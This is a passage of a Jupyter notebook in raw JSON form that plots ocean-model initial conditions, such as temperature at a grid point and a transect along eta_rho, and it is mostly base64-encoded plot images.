euXcVqT0xMFKNGjRJVqlQRlpaWokaNGuKNN94Qjx8/FkIIIZVKxeTJk5Xv57lz54rBgweLYcOGKddRUocVIYo6LfXv3184OTkJa2trUbduXTF9+nTl50Eul4svv/xS1KlTR5ibmws3NzcRGhoqDh48KIQo6ggSGBgorK2thYuLi+jbt6+4cePGc7cDaY9ECDVPRpDB6dChAxo1avTS4XxIs/z8/DB9+vRi110Zi4ULF2Lbtm0VMhqIXC5HYGAghgwZgg8//FDrz0f6gYcQiUhrzp8/Dzs7O3z99dcaXe+tW7fw7bff4tq1azh//jwmTZqEhIQEDB8+XKPPQ/qNnTiISCumTp2K119/HYD6vQdfxsTEBOvXr8fs2bMhhED9+vWxd+9enosyMjyESEREBomHEImIyCAxwIgqmGKAXk0vWxqjR49WDmbM+2+RoWOAEakpKSkJU6ZMQY0aNWBpaQkfHx/07t0b+/bt0/hzzZ49W6PrXbFihcqFzESGjJ04iNRw8+ZNtG7dGk5OTvjss8/QoEEDSKVS7N69G+Hh4bhy5YpGn8/Ozq7EcfvKytHREY6OjhpbH5EucQ+MSA1vvfUWJBIJoqOjMXDgQNSuXRv16tXDzJkzlUMiveweX8+KjIxE8+bNYWtrCycnJ7Ru3Rq3bt0CUPwQYmnu5/X111+jVq1asLKygoeHBwYNGqSx9hPpE+6BEZVSamoqdu3ahY8//rjEAXYVA/AOHjwY1tbW+Pfff+Ho6IhvvvkGnTp1wrVr1+Di4qLyO4WFhejXrx/eeOMN/PrrrygoKEB0dPRLh0R6nlOnTmHq1Kn46aef0KpVK6SmpuLw4cNlWheRvmOAEZVSfHw8hBCoW7fuc5c5cuQIoqOjkZKSohy9/PPPP8e2bdvwxx9/KO9urJCRkYHHjx+jV69eytu1lOdaptu3b8PW1ha9evWCvb09fH19lbcBIapseAiRqJRKc8nk0/f4Upy/srOzQ0JCQomj57u4uGD06NEIDQ1F7969y93JokuXLvD19UWNGjUwcuRI/PLLL8jJySnz+oj0GQOMqJRq1aoFiUTywo4aint8xcbGqvxcvXoVc+bMKfF31q1bh6ioKLRq1QqbNm1C7dq1i91iROFl9/Oyt7dHTEwMfv31V3h5eWH+/Plo2LBhqUacJzI0DDCiUnJxcUFoaChWrVqF7OzsYvPT09NV7vFVs2ZNlZ8qVao8d92NGzfGvHnzcOzYMdSvXx8bN24scbnn3c/raWZmZujcuTOWLl2Kc+fO4ebNm9i/f38ZW02kvxhgRGpYtWoVZDIZmjdvjj///BNxcXG4fPkyVq5ciZCQELXv8ZWQkIB58+YhKioKt27dwp49exAXF/fc82Avu5/X9u3bsXLlSsTGxuLWrVv48ccfIZfLUadOHW1tEiKdYScOIjXUqFEDMTEx+PjjjzFr1iwkJibCzc0NTZs2xerVqyGRSLBz5068++67GDNmDB48eABPT0+0a9cOHh4exdZnY2ODK1euYMOGDXj06BG8vLwQHh6ON998s8TnHzt2LM6ePYtRo0bBzMwMM2bMULmbspOTE7Zs2YKFCxciLy8PtWrVwq+//op69eppbZsQ6QoH8yUyQhKJBFu3bkW/fv10XQpRmfEQIpERmThxokZH9iDSJe6BERmRlJQUZGRkAAC8vLxKvCCbyFAwwIiIyCDxECIRERkkBhgRERkkBhgRERkkBhgRERkkBhgRERkkBhgRERkkBhgRERkkBhgRERmk/wfwaZ3aJFmFjQAAAABJRU5ErkJggg==", "text/plain": [ "<Figure size 400x700 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "initial_conditions.plot(\"temp\", eta=0, xi=0)" ] }, { "cell_type": "markdown", "id": "25d01162-8aba-4b2b-9a94-d7269347b0b5", "metadata": {}, "source": [ "Finally, we can look at a transect in a certain layer and at a fixed `eta_rho` (similarly `xi_rho`)." ] }, { "cell_type": "code", "execution_count": 16, "id": "7d24d5ba-35c5-4ea7-be7a-2afc18408e92", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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